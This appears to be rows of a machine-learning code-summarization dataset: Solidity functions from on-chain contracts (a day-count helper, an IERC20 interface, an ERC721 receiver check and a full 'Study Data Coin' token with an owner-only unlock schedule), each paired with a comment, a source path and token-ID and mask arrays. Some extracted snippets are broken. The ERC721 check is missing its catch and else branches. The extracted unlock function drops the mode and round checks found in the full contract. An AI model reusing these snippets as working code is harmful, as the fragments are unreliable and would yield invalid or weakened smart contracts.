function thirtyEThreeSixty(uint256 startTime, uint256 endTime) internal pure returns (int256) { uint256 d1Day; uint256 d1Month; uint256 d1Year; uint256 d2Day; uint256 d2Month; uint256 d2Year; (d1Year, d1Month, d1Day) = BokkyPooBahsDateTimeLibrary.timestampToDate(startTime); (d2Year, d2Month, d2Day) = BokkyPooBahsDateTimeLibrary.timestampToDate(endTime); if (d1Day == 31) { d1Day = 30; } if (d2Day == 31) { d2Day = 30; } int256 delD = int256(d2Day).sub(int256(d1Day)); int256 delM = int256(d2Month).sub(int256(d1Month)); int256 delY = int256(d2Year).sub(int256(d1Year)); return ((delY.mul(360).add(delM.mul(30)).add(delD)).floatDiv(360)); }
12,641,905
[ 1, 5127, 9793, 5196, 41, 19, 29751, 2548, 1056, 15797, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 286, 30012, 41, 28019, 55, 697, 4098, 12, 11890, 5034, 8657, 16, 2254, 5034, 13859, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 474, 5034, 13, 203, 565, 288, 203, 3639, 2254, 5034, 302, 21, 4245, 31, 203, 3639, 2254, 5034, 302, 21, 5445, 31, 203, 3639, 2254, 5034, 302, 21, 5593, 31, 203, 203, 3639, 2254, 5034, 302, 22, 4245, 31, 203, 3639, 2254, 5034, 302, 22, 5445, 31, 203, 3639, 2254, 5034, 302, 22, 5593, 31, 203, 203, 3639, 261, 72, 21, 5593, 16, 302, 21, 5445, 16, 302, 21, 4245, 13, 273, 605, 601, 18465, 52, 5161, 38, 69, 4487, 5096, 9313, 18, 5508, 31264, 12, 1937, 950, 1769, 203, 3639, 261, 72, 22, 5593, 16, 302, 22, 5445, 16, 302, 22, 4245, 13, 273, 605, 601, 18465, 52, 5161, 38, 69, 4487, 5096, 9313, 18, 5508, 31264, 12, 409, 950, 1769, 203, 203, 3639, 309, 261, 72, 21, 4245, 422, 8231, 13, 288, 203, 5411, 302, 21, 4245, 273, 5196, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 72, 22, 4245, 422, 8231, 13, 288, 203, 5411, 302, 22, 4245, 273, 5196, 31, 203, 3639, 289, 203, 203, 3639, 509, 5034, 1464, 40, 273, 509, 5034, 12, 72, 22, 4245, 2934, 1717, 12, 474, 5034, 12, 72, 21, 4245, 10019, 203, 3639, 509, 5034, 1464, 49, 273, 509, 5034, 12, 72, 22, 5445, 2934, 1717, 12, 474, 5034, 12, 72, 21, 5445, 10019, 203, 3639, 509, 5034, 1464, 61, 273, 509, 5034, 12, 72, 2 ]
./full_match/42220/0xA5aeCbF4e309d6e562D67671DF599669351F4DCF/sources/interfaces/IERC20.sol
EIP 2612 solhint-disable-next-line func-name-mixedcase
interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function burn(uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; }
16,331,179
[ 1, 41, 2579, 10659, 2138, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 1326, 17, 529, 17, 19562, 3593, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 288, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 15105, 1435, 3903, 1476, 1135, 261, 11890, 28, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 5034, 460, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 1265, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 460, 203, 565, 262, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 18305, 12, 11890, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 18305, 1265, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 27025, 67, 4550, 1435, 3903, 1476, 1135, 261, 3890, 1578, 1769, 203, 203, 565, 445, 1661, 764, 12, 2867, 3410, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 21447, 12, 203, 3639, 1758, 3410, 16, 2 ]
./full_match/137/0x5d15F670c444982Bb96D22F86F3AeA5304B60d6e/sources/CheeseTouch_flat.sol
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. The call is not executed if the target address is not a contract. @param from address representing the previous owner of the given token ID @param to target address that will receive the tokens @param tokenId uint256 ID of the token to be transferred @param _data bytes optional data to send along with the call @return bool whether the call correctly returned the expected magic value/
function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; if (reason.length == 0) { revert("CheeseTouch: transfer to non ERC721Receiver implementer"); assembly { revert(add(32, reason), mload(reason)) } } } return true; } }
4,775,743
[ 1, 3061, 445, 358, 4356, 288, 45, 654, 39, 27, 5340, 12952, 17, 265, 654, 39, 27, 5340, 8872, 97, 603, 279, 1018, 1758, 18, 1021, 745, 353, 486, 7120, 309, 326, 1018, 1758, 353, 486, 279, 6835, 18, 225, 628, 1758, 5123, 326, 2416, 3410, 434, 326, 864, 1147, 1599, 225, 358, 1018, 1758, 716, 903, 6798, 326, 2430, 225, 1147, 548, 2254, 5034, 1599, 434, 326, 1147, 358, 506, 906, 4193, 225, 389, 892, 1731, 3129, 501, 358, 1366, 7563, 598, 326, 745, 327, 1426, 2856, 326, 745, 8783, 2106, 326, 2665, 8146, 460, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1893, 1398, 654, 39, 27, 5340, 8872, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 1731, 3778, 389, 892, 203, 565, 262, 3238, 1135, 261, 6430, 13, 288, 203, 3639, 309, 261, 869, 18, 291, 8924, 10756, 288, 203, 5411, 775, 467, 654, 39, 27, 5340, 12952, 12, 869, 2934, 265, 654, 39, 27, 5340, 8872, 24899, 3576, 12021, 9334, 628, 16, 1147, 548, 16, 389, 892, 13, 1135, 261, 3890, 24, 5221, 13, 288, 203, 7734, 327, 5221, 422, 467, 654, 39, 27, 5340, 12952, 18, 265, 654, 39, 27, 5340, 8872, 18, 9663, 31, 203, 7734, 309, 261, 10579, 18, 2469, 422, 374, 13, 288, 203, 10792, 15226, 2932, 39, 580, 3392, 10491, 30, 7412, 358, 1661, 4232, 39, 27, 5340, 12952, 2348, 264, 8863, 203, 10792, 19931, 288, 203, 13491, 15226, 12, 1289, 12, 1578, 16, 3971, 3631, 312, 945, 12, 10579, 3719, 203, 10792, 289, 203, 7734, 289, 203, 5411, 289, 203, 5411, 327, 638, 31, 203, 3639, 289, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-03-30 */ pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Optional functions from the ERC20 standard. */ abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } contract SDCToken is Context, ERC20, ERC20Detailed { address public owner; mapping(uint256 => bool) public unlockCheck; uint256[] public unlockAmount = [ 45000000, // operating (monthly), mode 0 5000000, // bounty (monthly), mode 1 200000000,// team (once), mode 2 400000000,// sales (once), mode 3 400000000 // marketing and developing (once), mode 4 ]; uint256[] public unlockTime = [ 1605020400, // 2020-11-11 00:00:00+09:00, round 0 1607612400, // 2020-12-11 00:00:00+09:00, round 1 1610290800, // 2021-01-11 00:00:00+09:00, round 2 1612969200, // 2021-02-11 00:00:00+09:00, round 3 1615388400, // 2021-03-11 00:00:00+09:00, round 4 1618066800, // 2021-04-11 00:00:00+09:00, round 5 1620658800, // 2021-05-11 00:00:00+09:00, round 6 1623337200, // 2021-06-11 00:00:00+09:00, round 7 1625929200, // 2021-07-11 00:00:00+09:00, round 8 1628607600, // 2021-08-11 00:00:00+09:00, round 9 1631286000, // 2021-09-11 00:00:00+09:00, round 10 1633878000, // 2021-10-11 00:00:00+09:00, round 11 1636556400, // 2021-11-11 00:00:00+09:00, round 12 1639148400, // 2021-12-11 00:00:00+09:00, round 13 1641826800, // 2022-01-11 00:00:00+09:00, round 14 1644505200, // 2022-02-11 00:00:00+09:00, round 15 1646924400, // 2022-03-11 00:00:00+09:00, round 16 1649602800, // 2022-04-11 00:00:00+09:00, round 17 1652194800, // 2022-05-11 00:00:00+09:00, round 18 1654873200 // 2022-06-11 00:00:00+09:00, round 19 ]; uint256 public initialSupply = 2000000000; constructor () public ERC20Detailed("Study Data Coin", "SDC", 18) { owner=msg.sender; _mint(address(this), initialSupply * (10 ** uint256(decimals()))); } function burn(uint256 amount) public { _burn(_msgSender(), amount); } function unlock(uint8 mode, uint8 round) public { require(msg.sender==owner); require(mode<5); if (mode<2) require(round<20); // monthly (operating, bounty) else if (mode==2) require(round==11); // once (team, 2021-11-11) else if (mode==3) require(round==0); // once (sales, 2020-11-11) else if (mode==4) require(round==0); // once (mark&dev, 2020-11-11) require(now >= unlockTime[round]); // prevent duplicate mining require(!unlockCheck[mode*20+round]); unlockCheck[mode*20+round] = true; // burn from contract, and mint from msg.sender(contract owner) _burn(address(this), unlockAmount[mode] * (10 ** uint256(decimals()))); _mint(msg.sender, unlockAmount[mode] * (10 ** uint256(decimals()))); } function changeOwner(address _owner) public { require(msg.sender==owner); owner = _owner; } }
prevent duplicate mining burn from contract, and mint from msg.sender(contract owner)
function unlock(uint8 mode, uint8 round) public { require(msg.sender==owner); require(mode<5); require(now >= unlockTime[round]); require(!unlockCheck[mode*20+round]); unlockCheck[mode*20+round] = true; _burn(address(this), unlockAmount[mode] * (10 ** uint256(decimals()))); _mint(msg.sender, unlockAmount[mode] * (10 ** uint256(decimals()))); }
6,824,708
[ 1, 29150, 6751, 1131, 310, 18305, 628, 6835, 16, 471, 312, 474, 628, 1234, 18, 15330, 12, 16351, 3410, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
